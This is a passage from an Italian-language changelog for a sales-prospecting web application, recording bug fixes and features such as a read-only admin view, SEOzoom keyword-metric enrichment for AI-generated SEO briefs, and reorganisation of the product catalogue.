data-action="vl-late-reload" che chiama vl_lateReloadScan() → abort del polling pendente + vl_retryLoadReport() (cerca report esistente via /api/lf/reports?placeId=). Nuova variabile vl_currentScanParams tracciata da startScan a vl_stopFakeProgress.

• v2.21.17: batch 4 ticket utenti. FE: sih-racconto.css -8 righe blocco print regole figlie + 1 riga regola padre #rcListinoPage; sih-flowbar.js rinominato helper + IIFE patch link in-content (~25 righe); page-06-diagnosi-proposta.js getEditedAnnualPrice branch mensile + periodLabel nel return + updateInvestment qtyLabel/priceLabel/renewal branch + fullcat_render_row aria/title/chip "MESI"; 06-diagnosi-proposta.html CSS .fullcat-row-qty[data-unit="mesi"] + .fullcat-row-qty-unit (~12 righe); page-02-visibilita-locale.js phase 95% testo + vl_currentScanParams + vl_showLateScanPrompt/vl_hideLateScanPrompt/vl_lateReloadScan + handler vl-late-reload + cleanup in vl_stopFakeProgress (~50 righe totali). Zero modifiche BE/test/schema/migration.

2026-05-20 — v2.21.16 Post-enrichment del testo AI: keyword "ritoccate" dall'AI ricevono comunque i dati SEOzoom

Segnalato da Giuseppe sul rilancio del SEO Senior: la keyword del brief era "palestra corso Valdocco Torino" (con city append) → "volume n.d. · CPC n.d.". Probe diretta SEOzoom: la variante con city esiste (vol=30, cpc=€0.76, KD=42), come anche quella senza city (vol=110, cpc=€2.03, KD=36). Root cause: l'AI ha pescato "palestra corso Valdocco" da top_keywords (su cui il prospect e' pos 2) e nel testo ha aggiunto " Torino" per coerenza geografica. La stringa trasformata non e' in market_keywords_sample → input enrichment v2.21.15 non la matcha → l'AI scrive n.d. seguendo la regola del prompt (riga 304 di ai_personas.py: "Se volume/CPC mancano, scrivi 'volume n.d. · CPC n.d.'"). Fix: post-enrichment del testo AI dopo la chiamata Anthropic. Nuovo _enrich_ai_output_seo_keywords(text) + regex _AI_OUTPUT_KW_BULLET_RE intercetta bullet pattern N. **keyword** — volume n.d. · CPC n.d. · .... Per ogni match chiama _seozoom_kw_metrics(kw) (cached 60gg, infrastruttura v2.21.12): se il provider ha vol/cpc/kd, sostituisce in-place mantenendo intento + note finali (m.group('tail')). Aggiunto campo volume al ritorno di _seozoom_kw_metrics (cached dict gradualmente rinnovato, fallback None se assente). Le keyword realmente inventate (vol=null su provider) restano n.d., comportamento corretto. Esposizione cosmetica: il SEO Senior puo' adesso anche citare keyword long-tail con city append e arrivare con dati commerciali concreti.

• v2.21.16: post-enrichment AI output. BE: routers/external.py +import re top-level, +_AI_OUTPUT_KW_BULLET_RE regex compiled module-level (multiline+case-insensitive), +_enrich_ai_output_seo_keywords (~45 righe), invocazione in ai_interpret dopo text = ''.join(...) per le persone in _AI_SEO_PERSONAS_WITH_KEYWORDS (~6 righe). Esteso _seozoom_kw_metrics a ritornare anche volume. Test regex locale su 4 sample (3 match + 1 no-match) prima del deploy. Zero modifiche FE/test/schema/migration.

2026-05-20 — v2.21.15 Defensive arricchimento keyword in /api/ai/interpret per prospect storici

Segnalato da Giuseppe (verifica live su "palestra corso Valdocco"): SEOzoom mostra vol=110, cpc=€2.03, ma il brief SEO Senior diceva volume 110 · CPC n.d.. Root cause: il fix v2.21.12 arricchiva il response di /api/seo/keyword-research ma i dati keyword vivono cached lato proposalData.seo.marketKeywords (localStorage FE) e lato Analysis.seo_data (DB) per gli audit fatti prima del deploy. Quando /api/ai/interpret riceve quei dati cached con cpc/difficulty null, calcola data_hash, trova cache HIT su AiInterpretation con la risposta pre-fix → ritorna "CPC n.d." anche dopo la patch. Anche un cache MISS produrrebbe brief sbagliato perche' l'input AI ha null. Fix: nuovo helper _enrich_ai_input_seo_keywords(data_in) chiamato in ai_interpret PRIMA di _ai_hash. Per le persona seo_expert, local_seo_expert, competitive_analyst: scansiona data.seo.market_keywords_sample/opportunity_keywords/top_keywords, identifica keyword con cpc/difficulty null o 0, chiama _seozoom_enrich_kw_metrics (parallelo + cache 60gg, riusa infrastruttura v2.21.12), arricchisce in-place. Effetto secondario voluto: data_hash cambia naturalmente per i prospect storici → cache miss → nuova chiamata Anthropic con dati corretti. Costo zero se la cache SEOzoom metrics e' calda (popolata dal v2.21.12 negli ultimi audit). Per audit nuovi (post-v2.21.12) i campi sono gia' completi: l'arricchimento e' no-op (la guardia needs_enrich filtra). Nessun cambio FE/schema/migration.

• v2.21.15: defensive enrichment AI input. BE: routers/external.py +_enrich_ai_input_seo_keywords (~45 righe) + invocazione in ai_interpret prima di hash (~5 righe) + frozenset _AI_SEO_PERSONAS_WITH_KEYWORDS. Riusa _seozoom_enrich_kw_metrics esistente. Zero modifiche FE/test/schema/migration. Razionale: defensive layer per assicurarsi che i dati AI vedano metriche complete indipendentemente da quando la cache proposalData o Analysis.seo_data e' stata costruita.

2026-05-20 — v2.21.14 Hotfix admin-view: whitelist /api/ai/ nella guardia POST

Segnalato da Giuseppe: in admin-view su step 3, cliccando «Consulente SEO Senior» → 403 con messaggio admin_readonly_mode. sih-admin-view.js::wrapFetchOnce riga 364 ha una whitelist regex per i POST consentiti in modalita' read-only: /\/api\/(internal\/|frontend-settings|_debug\/|auth\/(me|logout)\b)/. POST /api/ai/interpret (lancia una persona AI sul prospect) non era in lista → bloccato preventivamente. Semanticamente la chiamata e' di lettura (genera un brief, scrive solo AiInterpretation cached + log AI usage, non modifica il prospect stesso ne' i suoi step). Tutti gli altri endpoint AI (/api/ai/personas, /api/ai/sentiment-for-prospect, /api/ai/briefs-for-prospect) sono gia' GET e passavano. Fix: regex allargata a |ai\/ (prefix, copre anche futuri POST AI). Restano bloccate le scritture su prospect (PATCH /api/prospects/..., POST /api/batch/..., POST /api/social/scan — quello brucia crediti scrapecreators reali, non lo whitelistiamo). Gli warning [admin-view] blocked localStorage.setItem sih_proposal_data restano voluti: impediscono che la sessione admin sostituisca lo stato del prospect dell'agente loggato.

• v2.21.14: hotfix admin-view. FE: sih-admin-view.js regex whitelist +|ai\/ (~7 righe incl. commento contestuale). Zero modifiche BE/test/schema/migration. Stessa logica del fix precedente (v2.21.13): admin-view e' «leggi e ispeziona», le chiamate AI sono ispezione assistita, non scrittura.

2026-05-20 — v2.21.13 Hotfix admin-view: business.reviews come numero rompe .slice() in step 3

Segnalato da Giuseppe: aprendo "Life Changer Torino" come admin e lanciando il SEO Expert si vedeva (reviews || []).slice is not a function. Diagnosi: in page-03-web-seo.js::buildSeoData riga 1768 il fallback era scanBiz.reviews || scanBiz.reviewsList || b.reviewsList || b.reviews || []. Convenzione codebase (vedi commento riga 1783 per reviewCount): business.reviews puo' essere NUMERO (review count, salvato lato proposal/admin-view) o ARRAY (recensioni vere caricate dal dettaglio Google Places). In admin-view sih-admin-view.js::bootstrapProspect riga 469 setta business.reviews = Number(p.reviews_count) || 0 e localStorage.sih_scan_business e' assente → fallback cade su numero → .slice() esplode. Fix: type-guard nei due call site rotti (page-03-web-seo.js::buildSeoData + page-02-visibilita-locale.js riga 2535 dove il pattern era identico). Convenzione conservata: i lettori normalizzano, il bootstrap admin resta com'e' per non rompere le altre pagine che usano b.reviews come count. vl_buildReviews non e' nello scope del crash riportato (non riceve b ma un d costruito dal Places detail dove reviews e' sempre array).

• v2.21.13: hotfix admin-view. FE: page-03-web-seo.js riga 1768 type-guard Array.isArray (~6 righe incl. commento contestuale); page-02-visibilita-locale.js riga 2535 stesso pattern (~3 righe). Zero modifiche BE/test/schema/migration. Bug latente da v2.21.0 (debutto admin-view + bootstrap con count numerico).

2026-05-20 — v2.21.12 Bug-fix dati keyword: arricchimento CPC + KD via SEOzoom action=metrics

Segnalato da Giuseppe: il SEO Expert produceva sempre «volume n.d. · CPC n.d.» nelle 10 keyword consigliate. Diagnosi via SSH localhost probe diretto sull'API: SEOzoom action=related ritorna solo {keyword, search_volume, serp_affinity} per design — niente cpcapprox, niente KD. Il nostro mapper _seozoom_to_keyword_research (riga 1329 di routers/external.py) leggeva it.get('cpc') e it.get('difficulty'): sempre null → FE castava a 0.0. Per i campi mancanti serve l'action metrics, che ritorna cpcapprox, KD, search_intent, has_ai_overview + trend mensile (jan-dec). Fix: nuovo helper _seozoom_kw_metrics(kw) con cache 60gg (chiave seozoom_kw_metrics_<kw_lower>, TTL stabile perche' le metriche SEOzoom sono medie mensili), e _seozoom_enrich_kw_metrics(kws) che fa le 10 chiamate in parallelo con ThreadPoolExecutor(max_workers=3) (SEOzoom rate-limit 20rpm, 3 worker = safe). _seozoom_to_keyword_research ora chiama l'arricchimento prima di costruire il payload finale, con fallback ai campi di related se l'arricchimento fallisce per timeout/rate-limit. Costo: 10 chiamate metrics per audit (~100-600 unit SEOzoom), ammortizzate dalla cache su keyword popolari (cross-prospect). Latenza: ~3-4s prima esecuzione, ~0s sul cache-hit. Bonus campi search_intent + has_ai_overview esposti al FE per uso futuro nei prompt AI.

• v2.21.12: bug-fix arricchimento keyword. BE: routers/external.py +_seozoom_kw_metrics (~40 righe, parsing tollerante di varie shape SEOzoom: resp=[item], resp=[[item]], resp=item) +_seozoom_enrich_kw_metrics (~25 righe, ThreadPool) + refactor _seozoom_to_keyword_research per usare arricchimento. Cache via _db.cache_get/set esistente (no nuovi modelli). Zero modifiche FE/schema/test/migration. Probe via SSH localhost + action=metrics sull'API SEOzoom ha confermato la shape di risposta (campi cpcapprox, KD, search_intent, has_ai_overview).

2026-05-20 — v2.21.11 Bug-fix cosmetico Storico admin: bottoni cella azioni fuori container (#194 #195)

Segnalati da Giuseppe in coppia. #194: il bottone «Apri come admin» wrappava su due righe e il box sforava la cella della tabella. #195: quando il prospect ha lo step 7 (Racconto) completato, il secondo bottone viola era reso accanto al primo in inline-row, finendo per invadere la riga successiva della tabella. Stessa origine: page-admin.js::renderHistory generava i due <a class="btn"> in inline senza wrapper né constraint di larghezza. Fix: wrapper <div style="display:flex;flex-direction:column;gap:5px;align-items:stretch;"> per stack verticale, white-space:nowrap + text-align:center + font-size:12px sui due <a>, e min-width:140px sulla <td> della colonna azioni. Nessun cambio funzionale: i link puntano sempre agli stessi URL, l'ordering resta «Apri come admin» sopra e «Racconto» sotto (quando presente).

• v2.21.11: bug-fix cosmetico admin. FE: page-admin.js::renderHistory wrap colonna azioni in flex-column (~10 righe nette in piu'). Zero modifiche BE/test/schema. Bug latente da v2.21.0 (debutto progress dots + colonna azioni doppia).

2026-05-20 — v2.21.10 Bug-fix render markdown brief AI in audit print: _dp_sanitizeAiText non gestiva heading e numbered list

Segnalato da Giuseppe post-deploy v2.21.8 (audit + brief AI cached). I brief delle personas usano ### Heading e numbered list 1. **keyword**... (vedi ai_personas.py regole stile condivise, riga 34), ma il sanitizer in page-06-diagnosi-proposta.js::_dp_sanitizeAiText gestiva solo bold/bullet/paragrafi: gli heading finivano nel PDF in chiaro come ### Diagnosi SEO e le numbered list come 1. testo. Refactor da regex-chain a line-by-line: H_STYLE map (h2/h3/h4 con color:#4C1D95 coerente con tema viola), riconoscimento #{1,3} heading, normalizzazione numbered list in bullet (uniformi alla pagina), gestione apertura/chiusura paragrafi via flag pOpen per evitare <p> annidati con heading dentro. Pulizia finale <br> orfani prima di </p> o <h*>. Tre call site beneficiano: _aiBriefBlock (7 brief per audit), sentimentText step 1 e step 4.

• v2.21.10: bug-fix render. FE: page-06-diagnosi-proposta.js::_dp_sanitizeAiText riscritta line-by-line (~50 righe vs 12 precedenti). Test su brief realistico (5 heading + paragrafi + bullet + numbered list): output HTML pulito, niente <br> orfani, heading viola coerenti con tema. Zero modifiche BE/test/schema.

2026-05-20 — v2.21.9 Bug-fix tracking step 4 (Social): prospect_id mancante in /api/social/scan

Diagnosi: lo Storico admin (routers/admin.py::admin_prospects_list riga 1036-1044) e la user dashboard (routers/prospects.py::prospects_list riga 262-271) accendono il pallino "Step 4" filtrando SocialSnapshot.prospect_id IN (...). Il frontend page-04-social.js (riga 506-508 pre-fix) leggeva proposalData.prospect_id, ma quel campo non viene mai valorizzato nel flusso 1→4: il prospect_id effettivo vive in localStorage.sih_prospect_id (scritto da page-02). Risultato: tutte le righe social_snapshots persistite con prospect_id=NULL, step 4 sempre off per chiunque. Bug latente da quando il pillar Social è entrato nello scoring (v2.20.0). Bonus cosmetico: social_scan mancava da ACTION_LABELS in page-admin.js.

• v2.21.9: bug-fix tracking. FE: page-04-social.js riga 506-512 (~7 righe) lettura fallback localStorage.sih_prospect_id con parseInt + commento di contesto; page-admin.js::ACTION_LABELS +social_scan: 'Scan Social' (1 riga). Nessun cambio BE/test/schema/migration. Snapshot social precedenti restano con prospect_id=NULL e non sono backfillabili in modo affidabile: re-scan azzera il gap (cache scrapecreators 7gg, zero costo crediti).

2026-05-20 — v2.21.8 Audit stampato: integra brief AI già cached

Risposta al ticket #193 (Colaprico, feature/bassa): "AUDIT TROPPO SCHEMATICO, non si può prendere tutta la parte narrativa che viene fuori quando si interrogano i vari consulenti AI?". Approccio "light" approvato: nessuna nuova chiamata AI al momento della stampa, nessun bottone aggiuntivo. L'audit pesca dalla cache server i brief già generati dall'agente nei passaggi precedenti e li mostra inline nelle sezioni di step corrispondenti. Personas mappate: local_seo_expert+gbp_consultant (step 2), seo_expert (step 3), social_analyst+social_strategist+reputation_manager (step 4), competitive_analyst+narratore_audit (step 5). Brief commerciali interni (commercial_director, objection_handler, smart_briefing) esclusi: non vanno mostrati al cliente.

• v2.21.8: feature audit + AI cached. BE: routers/external.py +GET /api/ai/briefs-for-prospect (~30 righe) + costante _AI_AUDIT_EXCLUDE_PERSONAS. FE: page-06-diagnosi-proposta.js::dp_printAuditOnly prefetch parallelo briefs+sentiment (~25 righe); _dp_buildFullAuditHtml +param aiBriefs + helper interno _aiBriefBlock + 7 inserti nelle sezioni step (~15 righe totali). Test: tests/test_ai_briefs_for_prospect.py +6. Nessuna migration SQL, nessun cambio schema.

2026-05-19 — v2.21.7 Bug-fix admin-view: fallback sessionStorage per-tab + history.replaceState

Quinto round (Giuseppe ha confermato "sparisce anche il banner admin" passando alla card social). Il flag URL ?adminView=1 si perdeva in qualche path di navigazione tra step. Difficile identificare la sorgente esatta senza ispezione console browser (Giuseppe ha esplicitamente chiesto di non doverlo fare). Fix robusto a difesa-in-profondita': marker per-tab in sessionStorage (chiave __sih_admin_view_session, TTL 60s). activateCore() ora scrive il marker (prospectId+ts). All'avvio di ogni pagina, se l'URL NON ha ?adminView=1 ma il marker e' presente e recente, riattiviamo admin view automaticamente e facciamo history.replaceState per riportare il flag nell'URL della tab corrente (cosi' flowbar e link futuri che leggono location.search vedono il valore corretto). Marker e' isolato per-tab (sessionStorage non condiviso tra finestre): la sessione personale dell'admin in altre tab non viene influenzata. Marker scompare alla chiusura della tab.

Tradeoff: se l'admin entra in admin view e poi entro 60s naviga manualmente alla sua home nella stessa tab, la session lo "tiene" in admin view per quei 60s. Mitigato dal TTL breve. Per chiudere il caso si chiude la tab admin view (azione naturale). Futuro: bottone "esci da admin view" che cancella esplicitamente il marker.

• v2.21.7: bug-fix admin-view (round 5). FE: sih-admin-view.js +_readSessionMarker/_writeSessionMarker + fallback in detection iniziale + history.replaceState + write marker in activateCore (~50 righe). Nessun cambio BE/test/schema.

2026-05-19 — v2.21.6 Bug-fix admin-view: activate split (core sync + UI DOMContentLoaded)

Quarto round. Anche dopo v2.21.5 restava un timing race: activate() veniva chiamato in DOMContentLoaded, MA i defer scripts (sih-transition.js, page-04.js, ecc.) eseguono PRIMA di DOMContentLoaded. In quella finestra state.active=false, quindi i wrap di fetch/localStorage/transition non erano attivi e qualunque getItem('sih_proposal_data')/setItem in quel periodo passava normalmente, leakando i dati dell'admin. Fix: split di activate() in due fasi. activateCore(): state.active=true + i 3 wrap. SYNC durante il parse di sih-admin-view.js (non-defer in head). Quando i defer scripts eseguono, lo wrap e' gia' in vigore. activateUi(): banner + styles + body class + patchAnchorClicks + console.info. DOM-dependent, in DOMContentLoaded come prima. Il bottom-of-file trigger if (state.flagFromUrl) activate() ora chiama activate() incondizionatamente: activate stessa gestisce internamente lo split.

• v2.21.6: bug-fix admin-view (round 4). FE: sih-admin-view.js split activate/activateCore/activateUi (~25 righe). Nessun cambio BE/test/schema.

2026-05-19 — v2.21.5 Bug-fix admin-view: wrap anche getItem PROTECTED_KEYS (recovery fallback)

Terzo (e definitivo) round del bug Bosi. Anche dopo v2.21.4 (wrap setItem + SIH_Transition.play), la card social continuava a pescare il vecchio prospect. Root cause supplementare: page-03::saveAndContinue:1532 (e analoghi su page-04:1814, page-05::storeCompetitor:629) hanno un recovery fallback: if (!proposalData) { var stored = localStorage.getItem('sih_proposal_data'); if (stored) proposalData = JSON.parse(stored); }. Quando l'admin clicca "Continua ai Social" PRIMA che bootstrapProspect async abbia popolato proposalData (race ~200-500ms post-load), il fallback legge il prospect vecchio dal localStorage admin. Il setItem era bloccato (v2.21.4) ma il getItem no. Da li' proposalData in memoria diventa quello vecchio; SIH_Transition.play wrappato propaga il flag corretto ma la pagina di destinazione riusa il proposalData con il website sbagliato → fetch social del prospect vecchio + scritture in sessionStorage (cache sih_social_cache keyed by URL).

Fix definitivo: wrap anche di Storage.prototype.getItem per le stesse PROTECTED_KEYS. In admin view localStorage.getItem('sih_proposal_data') ritorna null → tutti i fallback "recover from localStorage" automaticamente trovano nulla → proposalData resta esclusivamente quello popolato dal bootstrap (sorgente API legittima). Aggiunto anche console.info('[admin-view] active', {url, prospectId, ownerName, prospectName}) in activate() per debug futuro.

Consumer pattern dei fallback (es. JSON.parse(localStorage.getItem(K) || 'null') oppure if (stored) {...}) sono safe rispetto al ritorno null: il branch del fallback semplicemente non scatta.

• v2.21.5: bug-fix admin-view definitivo. FE: sih-admin-view.js::wrapLocalStorageOnce esteso a Storage.prototype.getItem (~10 righe) + console.info diagnostico in activate() (~7 righe). Nessuna modifica alle pagine 03/04/05/06. Nessun cambio BE/test/schema.

2026-05-19 — v2.21.4 Bug-fix admin-view: wrap localStorage + SIH_Transition (chiusura completa isolamento)

Secondo round dello stesso bug Bosi. Dopo la SEO la card social ricaricava il prospect vecchio dell'admin. Root cause supplementare: il fix v2.21.3 copriva solo i 3 navigation helper di page-02, ma page-03/04/05/06 hanno ~10 punti distribuiti dove chiamano localStorage.setItem('sih_proposal_data', ...) durante il render normale (non solo al click Continua), e usano navigate programmatiche SIH_Transition.play('04-social.html') / '06-...html' che saltano patchAnchorClicks (che vede solo <a href>). Replicare il pattern v2.21.3 in ~10 punti era invasivo; soluzione DRY centralizzata in sih-admin-view.js:

• wrapLocalStorageOnce() — in admin view, monkey-patch di Storage.prototype.setItem che no-op per una whitelist di chiavi: sih_proposal_data, sih_scan_business, sih_prospect_selected, sih_prospect_id, sih_selected_businesses, sih_step_progress, sih_search_keyword, sih_search_city. Le altre chiavi (preferenze, dismiss flags, ecc.) passano normalmente. Console warn al blocco per debug.
• wrapTransitionPlayOnce() — in admin view, intercetta window.SIH_Transition.play(target) e pre-appende il flag via appendFlagToUrl(target). Tiny poll (50 tentativi x 100ms) per agganciarsi perché sih-transition.js è defer mentre sih-admin-view.js è non-defer.

Caso edge non coperto: window.location.href = 'XX-...html' diretto (fallback quando SIH_Transition manca). In prod SIH_Transition è sempre caricato quindi questo fallback non scatta praticamente mai.

• v2.21.4: bug-fix admin-view definitivo. FE: sih-admin-view.js +PROTECTED_KEYS dict, +wrapLocalStorageOnce +wrapTransitionPlayOnce (~70 righe), agganciati in activate(). Nessuna modifica alle pagine 03/04/05/06 grazie al wrapping centralizzato. Nessun cambio BE/test/schema.

Nota agenti normali: lo stesso pattern (setItem distribuiti sulle chiavi prospect) non causa bug per agenti in single-tab perché le chiavi vengono sempre tutte aggiornate insieme quando l'agente seleziona un prospect dalla home. Il bug puo' apparire SOLO se un agente apre due prospect diversi in due tab del browser sullo stesso account (caso raro). Per chiudere anche quel caso edge serviva una migrazione cross-tab (per-tab sessionStorage o id-of-current-prospect check). Lasciato come tech debt, basso impatto.

2026-05-19 — v2.21.3 Bug-fix admin-view: link diretti tra step + corruzione localStorage admin

Bug riportato da Giuseppe sul prospect "Pagine Sì! spa - Human Digital Company" di Alessandro Bosi aperto come admin: cliccare il CTA "Web & SEO" su page-02 portava sul prospect vecchio dell'admin invece di restare su Bosi. Root cause: page-02-visibilita-locale.js::vl_goToWebSeo (e vl_skipToProposal/vl_skipToSocial) chiamavano vl_saveProposalData() che scriveva in localStorage.sih_proposal_data + sih_scan_business con i dati di Bosi (variabile in-memory business), ma sih_prospect_selected (priorita' piu' alta nel hydrate di page-03-web-seo.js::init) restava il vecchio prospect dell'admin scelto dalla home. Aggravante: il navigate andava a '03-web-seo.html' senza propagare ?prospectId&adminView=1, quindi il bootstrap admin-view non partiva sulla destinazione. Fix: in vl_goToWebSeo/vl_skipToProposal/vl_skipToSocial skip vl_saveProposalData+markStepComplete in admin view (no localStorage corruption), nuovi helper _vl_isAdminView+_vl_navTo che propagano il flag. Difesa preventiva: aggiunto in sih-admin-view.js click listener globale (capture phase) patchAnchorClicks che riscrive al volo l'href degli <a> a step pages (0X-...html, racconto.html) appendendo ?prospectId+adminView=1 — copre i casi nascosti tipo "Manca SEO -> vai a 03" in page-06::_dp_raOpenStepLink, back-link in 04-social.html:1343, mappe step in sih-audit-modules.js:71. Esposto SIH.adminView.appendFlagToUrl(url).

• v2.21.3: bug-fix admin-view. FE: page-02-visibilita-locale.js +_vl_isAdminView+_vl_navTo + gate su 3 funzioni navigation (~20 righe). sih-admin-view.js +appendFlagToUrl public + patchAnchorClicks capture listener (~50 righe). Nessun cambio BE/schema/test pytest.

2026-05-19 — v2.21.2 Rimossa card admin da scopri.html (regola di scope)

Hotfix copy. La card "Apri come admin" v2.21.0 era finita su scopri.html, la landing "Novità" che vedono tutti gli agenti commerciali. La funzione è admin-only: agli agenti compariva un annuncio per un bottone che non hanno. Rimossa la card; la feature resta documentata in changelog.html, roadmap.html e qui (docs.html sezione Pannello Admin → Tab Storico). Nuova regola operativa salvata in feedback_no_admin_su_scopri.md: scopri.html accetta solo card di feature accessibili a TUTTI gli agenti; admin-only, beta riservate, strumenti interni vanno sulle altre 3 pagine. Bump v2.21.0 → v2.21.2 (il primo bump aveva exit 1 per page-check incompleto e ha consumato il numero 2.21.1).

• v2.21.2: copy hotfix. FE: scopri.html rimossa 1 <article class="upd-card">. Memoria: feedback_no_admin_su_scopri.md (nuovo) + entry MEMORY.md. Nessun cambio BE/test/schema.

2026-05-19 — v2.21.0 Vista admin sui prospect altrui (sola lettura) + progress bar 7 tacche

Feature richiesta da Giuseppe ("voglio capire come gli agenti usano lo strumento"). Lo Storico prospect della dashboard admin mostra ora per ogni riga una progress bar a 7 cerchi colorati (step 1 Ricerca → 7 Racconto) calcolata server-side con un singolo sweep aggregato per tabella (zero N+1): routers/admin.py::admin_list_prospects JOIN Analysis (step 2/3/5 da local_score/seo_score/gbp_score+rep_score+web_score) + SocialSnapshot (step 4) + Proposal (step 6) + RacconttoHistory (step 7), risposta arricchita con steps_completed: bool[7], steps_done_count, steps_total: 7. Bottone "Apri come admin" naviga a /02-visibilita-locale.html?placeId=...&prospectId=N&adminView=1; se step 7 done compare anche bottone diretto al Racconto cached. Lato BE bypass admin su GET /api/prospects/{pid} (response arricchita con admin_view: true + owner_agent), GET /api/analyses, GET /api/prospects/{pid}/tags — le POST/PATCH/DELETE restano scoped per ownership (defense-in-depth: anche curl non scrive). Nuova utility frontend sih-admin-view.js (250 righe ES5) inclusa in 6 HTML (02/03/04/05/06 + racconto): banner sticky viola in alto con nome agente proprietario, classe body.sih-admin-readonly per CSS opacity sui bottoni con data-action di save/scan/send/generate/delete, fetch() wrap che blocca tutti i POST/PATCH/DELETE verso /api/* (whitelist: /api/internal, /api/frontend-settings, /api/auth/me, /api/auth/logout). Helper SIH.adminView.bootstrapProspect(consumer) condiviso che fa GET /api/prospects/{pid} + GET /api/analyses?prospect_id=N&limit=1 e popola un oggetto proposalData-like senza toccare il localStorage dell'admin (preserva sessione). sih-flowbar.js propaga ?prospectId=N&adminView=1 ai link prev/next: navigazione tra step 02→06 preserva il contesto. page-02-visibilita-locale.js::vl_loadFromUrlParam estesa: carica anche scan_data dell'ultima Analysis per non mostrare emptyState. Test: tests/test_admin_view_prospect.py con 12 nuovi test (admin bypass + ownership regression + payload arricchito + steps_completed mappato correttamente da Analysis/SocialSnapshot/Proposal/RacconttoHistory). 88/88 verde pre-deploy.

• v2.21.0: feature admin vista prospect altrui. BE: routers/prospects.py::prospect_get/analysis_list/prospect_list_tags admin bypass (~30 righe); routers/admin.py::admin_list_prospects +steps_completed con 4 JOIN aggregati (~70 righe). FE: nuovo sih-admin-view.js (250 righe), sih-flowbar.js::_adminViewSuffix (~15 righe), page-admin.js::renderHistory progress dots + bottone "Apri come admin" + bottone "Racconto" condizionale (~50 righe), bootstrap admin-view in 6 page-*.js (~15 righe each), include <script src="/sih-admin-view.js?v=2.50.8"> in 02/03/04/05/06.html + racconto.html. Test: tests/test_admin_view_prospect.py +12. Nessuna migration SQL, nessun cambio schema.

2026-05-19 — v2.20.25 Fix cancellazione agente: sanificazione FK pre-DELETE

Root cause Sentry 48ccfcb8: DELETE /api/admin/agents/{aid} falliva con MySQL IntegrityError 1451 sui vincoli FK verso agents.id perche' gli FK non hanno ON DELETE SET NULL/CASCADE a livello DB (anche su colonne nullable=True ORM). Fix in routers/admin.py::admin_delete_agent: prima dello s.delete(a) un blocco di sanificazione bulk azzera la FK su 12 tabelle nullable (activity_log, analyses, proposals, feedback.agent_id+resolved_by_agent_id, notifications.created_by_agent_id, social_snapshots, secrets.updated_by_agent_id, ai_interpretations, racconto_history, prospect_tags.created_by_agent_id, token_blacklist) ed elimina le righe figlie con FK NOT NULL (notifications, alerts_dismissed, batch_jobs). I check pre-esistenti (no-prospect / non-ultimo-admin) restano invariati. Il response body ora include cleanup con il conteggio per tabella, anche logato in ActivityLog.meta_json per audit. Test regressione: 3 nuovi test_admin_delete_agent_*. Patch only-applicativa: nessuna migration SQL.

• v2.20.25: bug fix admin. BE: routers/admin.py sanificazione FK bulk via Query.update/.delete(synchronize_session=False) (~30 righe). Test: tests/test_admin.py +3 (activity_log_fk, cascades_dependent_rows, blocked_if_last_admin). Nessun cambio FE/schema.

2026-05-18 — v2.20.24 20 macro granulari + accordion chiusi + bulk buttons

Iterazione delle macro v2.20.23 (decisioni admin Giuseppe). Le 10 macro precedenti erano troppo aggregate; portate a 20 macro granulari. MACRO_ORDER riscritto. _macroOf(p) riscritto con 20 cluster precisi. Fix ordine check: AGIM* prima di Ricordi di Vita (AGIM erano stati mis-categorizzati dal parser PDF come Ricordi di Vita per adiacenza nel listino). Default UX: tutti accordion chiusi (rimossa pre-apertura macro consigliate). Nuovi bottoni #fullcatExpandAll / #fullcatCollapseAll in toolbar + handler in wireFullcatToolbar. Ricerca testuale apre automaticamente le macro matching (logica pre-esistente in paintFullCatalog via isOpen || !!search). Distribuzione 379/379 prodotti su 20 macro, zero unmapped. CSS scoped .fullcat-bulk-btn.

• v2.20.24: macro v2 + UX accordion. FE: page-06-diagnosi-proposta.js MACRO_ORDER +_macroOf riscritti, default open-cats rimosso, wire bulk buttons (~30 righe), 06-diagnosi-proposta.html +2 bottoni in toolbar, +CSS .fullcat-bulk-btn. Cache-buster ?v=2.20.24.

2026-05-18 — v2.20.23 Macro categorie (10) + badge tipo nel catalogo step 6

Riorganizzazione catalogo dello step 6 per ridurre cognitive load con 379 prodotti. 30+ categorie originali raggruppate in 10 macro funzionali via helper _macroOf(p) in page-06-diagnosi-proposta.js. Ordine fisso da MACRO_ORDER. Le sigle Mantenimento/Restyling vengono sempre dirottate nella macro 10 separata, regola in _isMaintenance(p): sigla termina in -M (non -PM/-RM/-OM) o -R, oppure nome contiene "Mantenim"/"estyling". Gli abbonamenti -ABB NON sono mantenimenti, restano nella macro funzionale. renderFullCatalog dropdown popolato con macro+count, paintFullCatalog raggruppa per macro. Distribuzione: Sito Web 18, eCommerce 47, Visibilita Google 63 (con Si!Happy SH*), Social 47, Video 58, AI & Lead 30, Reputazione 4, Funebre 14, Accessori 25, Mantenimenti 73. Badge tipo accanto al nome prodotto: _tipoBadgeLabel() + _tipoBadgeClass() per P/C/O/NP -> Property (viola)/Concessione (azzurro)/Operatore (arancio)/No Provvigione (grigio). Etichette estese che gli agenti gia' conoscono dal listino PDF, niente tooltip (decisione Giuseppe). CSS scoped .fullcat-tipo-{p,c,o,np}. I 3 tier Essenziale/Crescita/Dominanza non sono toccati: restano la proposta primaria per l'agente.

• v2.20.23: UX catalogo. FE: page-06-diagnosi-proposta.js: MACRO_ORDER, _macroOf, _isMaintenance, _tipoBadgeLabel, _tipoBadgeClass (~120 righe); renderFullCatalog e paintFullCatalog ora usano macro invece di category; renderFullcatRow aggiunge badge tipo. 06-diagnosi-proposta.html: +CSS .fullcat-tipo*. Cache-buster ?v=2.20.23. Nessun cambio BE, nessun cambio al catalogo JSON.

2026-05-18 — v2.20.22 Header catalogo step 6 dinamico (era hardcoded "67")

Cosmetic fix. 06-diagnosi-proposta.html:1228 aveva testo hardcoded "Naviga i 67 prodotti per categoria..." dal commit iniziale del 2026-04-26. Dopo l'espansione catalogo v2.20.19 a 379 il numero era rimasto a 67. Fix: span #fullcatCountLabel con placeholder "tutti i prodotti", riempito da page-06-diagnosi-proposta.js::loadCatalog() con CATALOG.length + ' prodotti del listino' dopo che fetch catalogo-paginesi.json completa. Auto-aggiorna a ogni futuro update catalogo.

• v2.20.22: cosmetic. FE: 06-diagnosi-proposta.html span placeholder, page-06-diagnosi-proposta.js fill dinamico in loadCatalog. Cache-buster ?v=2.20.22.

2026-05-18 — v2.20.21 Hotfix catalogo vuoto allo step 6 (prezzi non-numerici)

